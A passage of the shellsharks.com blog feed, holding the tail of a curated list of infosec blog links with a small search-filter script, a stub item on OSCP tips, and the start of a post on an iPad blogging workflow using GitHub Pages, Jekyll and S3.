  &lt;li&gt;&lt;a href=&quot;https://zeus.ugent.be/blog/&quot;&gt;Zeus wpi&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.zeuscloud.io/blog&quot;&gt;ZeusCloud&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://zigrin.com/blog/&quot;&gt;Zigrin Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.zimperium.com&quot;&gt;Zimperium’s Mobile Security Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.zodmagus.com&quot;&gt;Zod Magus&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://zolder.io/category/blogs/&quot;&gt;Zolder&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.zscaler.com/blogs&quot;&gt;zscaler&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://zxsecurity.co.nz/research/&quot;&gt;ZX Security&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;writeup-blogs&quot;&gt;Writeup Blogs&lt;/h1&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://0dayfans.com&quot;&gt;0dayfans&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://secreltyhiddenwriteups.blogspot.com&quot;&gt;Bug Bounty Writeups&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://bughunters.google.com/report/reports&quot;&gt;Bug Hunters Reports | Google&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://chr0x6eos.github.io&quot;&gt;Chr0x6eOs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://devcraft.io&quot;&gt;devcraft.io&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hxp.io/blog/&quot;&gt;hxp&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://khaoticdev.net&quot;&gt;Khaotic&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.mohamed-chamli.me&quot;&gt;Mohamed Chamli&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.openbugbounty.org/blog/&quot;&gt;Open Bug Bounty Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://org.anize.rs/writeups/&quot;&gt;Organi{s|z}ers&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://pentester.land/list-of-bug-bounty-writeups.html&quot;&gt;Pentester Land&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.pwnistry.com/ctf-solutions/&quot;&gt;Pwnistry&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.securitybreached.org&quot;&gt;Security Breached Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://theinfosecblog.com/blogs/&quot;&gt;theinfosecblog.com&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://writeup-db.com&quot;&gt;Writeup-DB&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;aggro-sites&quot;&gt;Aggro Sites&lt;/h1&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://4sysops.com/archives/&quot;&gt;4sysops&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.admin-magazine.com/tags/view/Security&quot;&gt;ADMIN Network &amp;amp; Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://allinfosecnews.com&quot;&gt;all InfoSec news&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://analyst1.com/category/blog/&quot;&gt;Analyst1&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.bankinfosecurity.com/blogs&quot;&gt;Bank Info Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.blackmoreops.com&quot;&gt;blackmoreops&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blacksecnews.com&quot;&gt;BlackSecNews&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.bleepingcomputer.com&quot;&gt;BleepingComputer&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blueteam.news&quot;&gt;Blue Team News&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://breakingdefense.com/category/networks-and-cyber/&quot;&gt;Breaking Defense&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://bugbountypoc.com&quot;&gt;Bug Bounty POC&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://bugreader.com/social/&quot;&gt;Bugreader Social&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.c4isrnet.com/cyber/&quot;&gt;C4ISRNET&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://chemical-facility-security-news.blogspot.com/&quot;&gt;Chemical Facility Security News&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ciso2ciso.com&quot;&gt;CISO2CISO&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cti-grapevine.com&quot;&gt;cti-grapevine&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ctrlaltintel.com&quot;&gt;Ctrl-Alt-Intel&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.ctrl.blog/topic/security.html&quot;&gt;Ctrl.blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.curatedintel.org&quot;&gt;Curated Intelligence&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.mycyberinfo.com&quot;&gt;Cyber Info&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.cshub.com&quot;&gt;Cyber Security Hub&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cybersecuritynews.com&quot;&gt;Cyber Security News&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.cybercareers.blog&quot;&gt;CyberCareers&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cyberfeed.io&quot;&gt;Cyberfeed.io&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cybernews.com/security/&quot;&gt;cybernews&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.cyberscoop.com&quot;&gt;CyberScoop&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.cybersecuritydive.com&quot;&gt;Cybersecurity Dive&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cyberinsider.com&quot;&gt;Cyber Insider&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.cybersecurity-insiders.com&quot;&gt;Cybersecurity Insiders&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cybersecuritylog.com&quot;&gt;CyberSecurity Log&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.cybertalk.org&quot;&gt;CyberTalk&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cyberthreatintelligencenetwork.com/index.php/blog/&quot;&gt;Cyber Threat Intelligence Training Center&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cyberthreatintelligence.com&quot;&gt;CyberThreat Intelligence&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.cyberxplore.com&quot;&gt;CyberXplore&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.cysecurity.news&quot;&gt;CySecurity News&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.cysec-hub.com&quot;&gt;CySec-Hub&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://thedarksource.com/articles/&quot;&gt;The Dark Source&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.darkreading.com&quot;&gt;DARKReading&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.databreachtoday.com&quot;&gt;Data Breach Today&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.deepsec.net&quot;&gt;DeepSec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://defenselead.com&quot;&gt;Defense Lead&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://deform.co&quot;&gt;Deform&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.esecurityplanet.com&quot;&gt;eSecurity Planet&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.forensicfocus.com&quot;&gt;Forensic Focus&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://gbhackers.com&quot;&gt;GBHackers on Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.ghacks.net&quot;&gt;ghacks.net&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.govinfosecurity.com&quot;&gt;Gov Info Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://grahamcluley.com&quot;&gt;Graham Cluley&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://thegrayarea.tech&quot;&gt;The Gray Area&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hackdojo.io/articles&quot;&gt;Hack Dojo&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://thehackernews.com&quot;&gt;The Hacker News&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hackernoon.com&quot;&gt;Hackernoon&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hackersonlineclub.com&quot;&gt;HackersOnlineClub&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.hackread.com&quot;&gt;HackRead&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://haq.news&quot;&gt;haq.news&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.helpnetsecurity.com&quot;&gt;HELPNETSECURITY&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.humanlayersecurity.com/blog/&quot;&gt;Human Layer Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://industrialcyber.co&quot;&gt;Industrial Cyber&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.inforisktoday.com&quot;&gt;infoRisk Today&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://infosecwriteups.com&quot;&gt;Infosec Write-Ups&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://infosecstreams.github.io&quot;&gt;infosecstreams&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.infosecurity-magazine.com/news/&quot;&gt;Infosecurity Magazine&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://insights2techinfo.com/category/cyber-security-network-forensics/&quot;&gt;Insights2Techinfo&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.irongeek.com&quot;&gt;Irongeek&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.itsecurityguru.org&quot;&gt;IT Security Guru&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog-en.itochuci.co.jp&quot;&gt;ITOCHU Cyber &amp;amp; Intelligence Inc.&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://iustin24.github.io&quot;&gt;iustin24&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.jitsumibooster.com/blogs/category/cyber-security/&quot;&gt;Jitsumi Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://krebsonsecurity.com&quot;&gt;KrebsonSecurity&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://letshack.xyz/blog&quot;&gt;LetsHack&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://linuxsecurity.com&quot;&gt;LinuxSecurity&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://malware.news&quot;&gt;Malware.news&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://meterpreter.org&quot;&gt;meterpreter.org&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://paper.li/&quot;&gt;Morning #Infosec News&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blogs.msmvps.com&quot;&gt;MSMVPs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nakedsecurity.sophos.com&quot;&gt;Naked Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.netsec.news&quot;&gt;NetSec.news&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nixhacker.com&quot;&gt;nixhacker&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://notifycyber.com&quot;&gt;NotifyCyber&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nudesystems.com&quot;&gt;nudesystems&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://oliverspost.com/category/security/&quot;&gt;The Olivers Post&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.oodaloop.com&quot;&gt;OODALOOP&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://opencirt.com/blog/&quot;&gt;OpenCIRT&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://pentesttools.net&quot;&gt;Pentest Tools&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://readme.security&quot;&gt;README_Infosec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.realinfosec.net&quot;&gt;RealInfosec.net&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://reconshell.com&quot;&gt;Reconshell&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://rehacks.live&quot;&gt;REhacks&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://secflux.com&quot;&gt;Secflux&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://secpigeon.com&quot;&gt;Secpigeon&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://securityaffairs.co/wordpress/&quot;&gt;Security Affairs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://securityboulevard.com&quot;&gt;Security Boulevard&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://securitycafe.ro&quot;&gt;Security Café&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://securityintelligence.com&quot;&gt;Security Intelligence&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.socinvestigation.com&quot;&gt;Security Investigation&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://securityledger.com&quot;&gt;the security ledger&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://securitythreatnews.com&quot;&gt;Security Threat News&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://securityweekly.com/blog/&quot;&gt;Security Weekly&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://securityonline.info&quot;&gt;securityonline.info&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://paper.seebug.org&quot;&gt;Seebug&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.seqrite.com/blog/category/security/&quot;&gt;Seqrite&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.skopenow.com/news&quot;&gt;skopenow&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.socinvestigation.com&quot;&gt;SOC Investigation&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://strategyofsecurity.com&quot;&gt;Strategy of Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sudosecurity.org&quot;&gt;sudo security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.suspectfile.com&quot;&gt;SuspectFile&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.telsy.com/blog/&quot;&gt;Telsy&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://thexploit.com/category/sec/&quot;&gt;THEXPLOIT&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://threatpost.com&quot;&gt;threatpost&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.thecybersecuritytimes.com&quot;&gt;The Cyber Security Times&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://h1.nobbd.de&quot;&gt;The Unofficial HackerOne Disclosure Timeline&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://vocal.media/01/tag/cybersecurity&quot;&gt;Vocal.media | Cybersecurity&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.vulnerability-db.com&quot;&gt;Vulnerability Magazine&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://webs3c.com&quot;&gt;webs3c&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://wololo.net/category/security/&quot;&gt;wololo.net&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.zapstiko.com&quot;&gt;zapstiko&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;advisories&quot;&gt;Advisories&lt;/h1&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.cyber.gc.ca/en/alerts-advisories&quot;&gt;Canadian Centre for Cyber Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cert.vde.com/en/&quot;&gt;VDE CERT&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;script&gt;

window.onload = function() {
  document.getElementById(&quot;filter&quot;).focus();
  document.getElementById(&quot;filter&quot;).select();
};

document.getElementById(&quot;count&quot;).innerHTML += document.querySelectorAll(&quot;main&quot;)[0].getElementsByTagName(&quot;li&quot;).length;

var url = new URL(window.location.href);
var blog = url.searchParams.get(&quot;s&quot;);
if (blog) {
  document.getElementById(&quot;filter&quot;).value = blog;
  search();
}

function search() {
  var input, filter, li, a, i, txtValue;
  input = document.getElementById(&quot;filter&quot;);
  filter = input.value.toUpperCase();
  blog_list = document.querySelectorAll(&quot;main&quot;)[0];
  li = blog_list.getElementsByTagName(&quot;li&quot;);
  for (i = 0; i &lt; li.length; i++) {
    a = li[i].getElementsByTagName(&quot;a&quot;)[0];
    txtValue = (a.textContent || a.innerText) + &quot; &quot; + a.href;
    if (txtValue.toUpperCase().indexOf(filter) &gt; -1) {
      li[i].style.display = &quot;&quot;;
    } else {
      li[i].style.display = &quot;none&quot;;
    }
  }
  count = 0;
  for (i = 0; i &lt; li.length; i++) {
    if (li[i].style.display === &quot;&quot;) {
      count += 1;
    }
  document.getElementById(&quot;count&quot;).innerHTML = &quot;Total: &quot; + count;
  }
}

&lt;/script&gt;

</description>
        <pubDate>Sun, 17 Jan 2021 09:50:00 -0500</pubDate>
        <link>https://shellsharks.com/infosec-blogs</link>
        <guid isPermaLink="true">https://shellsharks.com/infosec-blogs</guid>
        
        <category>infosec</category>
        
        <category>blogging</category>
        
        <category>project</category>
        
        <category>red</category>
        
        <category>blue</category>
        
        
        <category>infosec</category>
        
        <category>blog</category>
        
        <category>list</category>
        
      </item>
    
      <item>
        <title>OSCP Tips</title>
        <shark:summary><p>I felt no need to add yet another OSCP review to the Internet, but I did have some advice for those who are looking to take the PWK training and OSCP certification.</p>
</shark:summary>
        <description>
</description>
        <pubDate>Thu, 14 Jan 2021 09:50:00 -0500</pubDate>
        <link>https://shellsharks.com/oscp-tips</link>
        <guid isPermaLink="true">https://shellsharks.com/oscp-tips</guid>
        
        <category>oscp</category>
        
        <category>training</category>
        
        <category>pentesting</category>
        
        <category>appsec</category>
        
        <category>red</category>
        
        
        <category>infosec</category>
        
      </item>
    
      <item>
        <title>The Shellsharks Blog and my iPad Blogging Workflow</title>
        <shark:summary><p><a href="https://shellsharks.com/about/#title">Shellsharks</a> is a simple hobby project of mine. I primarily write about things that I may want as a reference for myself later but also as a place to share with others <em>or simply to shout into the void</em>. I think having a website or blog is a good way to keep record of things you have learned or to cement-in-time the way you feel about things. In my article on <a href="https://shellsharks.com/getting-into-information-security#title">getting into the field of information security</a> I mention the benefits of having a blog with respect to standing out as a job applicant. Perhaps one day shellsharks.com could morph into something <em>more</em> but for now, it is of simple intention and therefore requires simplicity with respect to contributing, maintaining, hosting etc…</p>
</shark:summary>
        <description>&lt;p&gt;&lt;a href=&quot;https://shellsharks.com/about/#title&quot;&gt;Shellsharks&lt;/a&gt; is a simple hobby project of mine. I primarily write about things that I may want as a reference for myself later but also as a place to share with others &lt;em&gt;or simply to shout into the void&lt;/em&gt;. I think having a website or blog is a good way to keep record of things you have learned or to cement-in-time the way you feel about things. In my article on &lt;a href=&quot;https://shellsharks.com/getting-into-information-security#title&quot;&gt;getting into the field of information security&lt;/a&gt; I mention the benefits of having a blog with respect to standing out as a job applicant. Perhaps one day shellsharks.com could morph into something &lt;em&gt;more&lt;/em&gt; but for now, it is of simple intention and therefore requires simplicity with respect to contributing, maintaining, hosting etc…&lt;/p&gt;

&lt;p&gt;I’m not a professional, or even particularly seasoned “blogger”. Shellsharks isn’t even my first attempt at a blog. What I can say from previous attempts to create as well as current efforts maintaining a blog, is that it is easier said than done. You need to think of things to write about, maybe even coming up with a “theme” or content-niche for your site. You need to decide on a hosting provider. You may want/need to do some level of web design. There’s SEO stuff to consider. You need to figure out your blogging toolset (e.g. writing apps, image hosting, etc…). All of this in aggregate can be intimidating (and it was!) at first blush, so many may find they just don’t have enough momentum to really get all of it up and running. This is why a site like &lt;a href=&quot;https://medium.com/&quot;&gt;Medium&lt;/a&gt; may be attractive to some as it takes out some of this initial set-up. You just create an account and start writing. I actually tried Medium but found that I wanted my own piece of digital turf. Enter shellsharks…&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2020/iPad-blogging.jpeg&quot; alt=&quot;iPad Blogging&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;hosting&quot;&gt;Hosting&lt;/h1&gt;

&lt;p&gt;Let’s start with hosting. I wanted something as simple as possible. Ideally, I could just take plain &lt;a href=&quot;https://daringfireball.net/projects/markdown/syntax&quot;&gt;Markdown&lt;/a&gt; files, put them somewhere and presto! Blog post ready. This is &lt;em&gt;effectively&lt;/em&gt; what I was able to achieve with &lt;a href=&quot;https://pages.github.com/&quot;&gt;GitHub pages&lt;/a&gt; from &lt;a href=&quot;https://github.com/&quot;&gt;GitHub&lt;/a&gt;. With GitHub pages, you can &lt;a href=&quot;https://docs.github.com/en/free-pro-team@latest/github/getting-started-with-github&quot;&gt;get up and running relatively quickly&lt;/a&gt;. GitHub pages leverages &lt;a href=&quot;https://jekyllrb.com/docs/github-pages/&quot;&gt;Jekyll&lt;/a&gt;, a simple, static-page, blog-aware, ruby-based, site generator. Jekyll is easy enough to get started with but takes a little digging to master in my opinion. Using my pre-existing &lt;a href=&quot;https://github.com/shellsharks&quot;&gt;Shellsharks GitHub&lt;/a&gt; account (you can create an account &lt;a href=&quot;https://github.com/join&quot;&gt;here&lt;/a&gt;), I created a &lt;a href=&quot;https://github.com/shellsharks/shellsharks.github.io&quot;&gt;separate repository for the blog&lt;/a&gt; and I was off and running. I found &lt;a href=&quot;https://agusmakmun.github.io&quot;&gt;the following theme, e.g. “Agus Makmun”&lt;/a&gt;, copied it over to my repo and then started making the necessary changes to get ready for my first blog post. I liked this theme because it was simple, clean and had a decent little search widget. There are &lt;a href=&quot;https://pages.github.com/themes/&quot;&gt;plenty of other theme options&lt;/a&gt; though if you search around for them. Check out this &lt;a href=&quot;https://www.smashingmagazine.com/2014/08/build-blog-jekyll-github-pages/&quot;&gt;great guide&lt;/a&gt; for more specifics in getting started with GitHub pages.&lt;/p&gt;

&lt;h1 id=&quot;equipment-and-tooling&quot;&gt;Equipment and Tooling&lt;/h1&gt;

&lt;p&gt;Alright! So I have my hosting platform and the base part of my site ready to go, all I really need now is to start pushing some content to my github repo and have Jekyll do the work with publishing. I wanted to have a very portable writing setup which meant being able to write and edit content as well as maintain my blog, all from an iPad. I have a &lt;a href=&quot;https://www.amazon.com/Apple-iPad-Pro-11-inch-Wi-Fi/dp/B07K3B4NBN&quot;&gt;first-gen, 11-inch, iPad Pro&lt;/a&gt; which works pretty well but I think having the larger 12.9 inch iPad would work better (for those who are interested in replicating my setup). The 11-inch iPad is a little cramped when using two apps side-by-side in the split-view mode which I do often because I am often writing in one window and using a browser or notes app in the second window. Paired with this iPad I have the &lt;a href=&quot;https://www.apple.com/shop/product/MXNK2LL/A/smart-keyboard-folio-for-ipad-air-4th-generation-and-ipad-pro-11-inch-2nd-generation-us-english&quot;&gt;Smart Keyboard Folio&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;On my iPad I need a couple of different tools to do all my blogging “stuff”…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;A markdown-compatible, &lt;a href=&quot;https://www.smashingmagazine.com/2014/08/build-blog-jekyll-github-pages/&quot;&gt;Dropbox&lt;/a&gt;-enabled text-editor with iOS external file provider support.&lt;/li&gt;
  &lt;li&gt;A git client which can authenticate-to and work with my GitHub repositories.&lt;/li&gt;
  &lt;li&gt;A way to publish and get-links-to images hosted in AWS (in an S3 bucket).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For my text-editor, I settled on &lt;a href=&quot;https://1writerapp.com/&quot;&gt;1Writer&lt;/a&gt; (&lt;a href=&quot;http://bit.ly/1writerapp&quot;&gt;1Writer download here&lt;/a&gt;). As mentioned earlier, the text-editor I chose needed to have a few different things. Since I want to write primarily in Markdown, it obviously needed to support Markdown editing. I store my draft articles in Dropbox so preferably it could connect to Dropbox so that I can easily edit draft-posts. Finally, since the git-client I chose (described in the next paragraph) exposes its files via an iOS external file provider, the text-editor needed to support connecting to iOS external file providers. This way, I could easily edit live-posts as well as move draft posts into the file provider for subsequent committing.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://workingcopyapp.com/&quot;&gt;Working Copy&lt;/a&gt; (&lt;a href=&quot;https://itunes.apple.com/us/app/working-copy/id896694807?mt=8&amp;amp;uo=6&amp;amp;at=1000lHq&amp;amp;ct=workingcopyapp&quot;&gt;Working Copy download here&lt;/a&gt;) is an awesome, super-powerful git-client that works well with native iOS. It allows you to fully sync any github repo and even exposes the repos via the iOS external file provider internal API which allows other apps to edit local files in these repos.&lt;/p&gt;

&lt;p&gt;Sites leveraging GitHub pages have &lt;a href=&quot;https://docs.github.com/en/free-pro-team@latest/github/working-with-github-pages/about-github-pages&quot;&gt;usage limits&lt;/a&gt;, notably that they cannot be larger than 1 GB. Static sites with mostly text files are typically pretty small but if you include a lot of media (namely, images) in your articles, you may find that you bump up against this 1 GB limit rather quickly. For this reason, I needed an external image-hosting solution. For this I settled on &lt;a href=&quot;https://aws.amazon.com/&quot;&gt;AWS&lt;/a&gt; - putting images in an &lt;a href=&quot;https://aws.amazon.com/free/&quot;&gt;S3&lt;/a&gt; bucket and &lt;a href=&quot;https://www.h3xed.com/web-development/how-to-make-all-objects-in-amazon-s3-bucket-public-by-default&quot;&gt;making these image objects public&lt;/a&gt;. So I needed an easy way to push images to my S3 bucket and subsequently get the unique image url for referencing in my blog post. Oddly enough, there is not that many iOS apps (that I could find) which can authenticate to an AWS account and work with file objects in S3 buckets. &lt;a 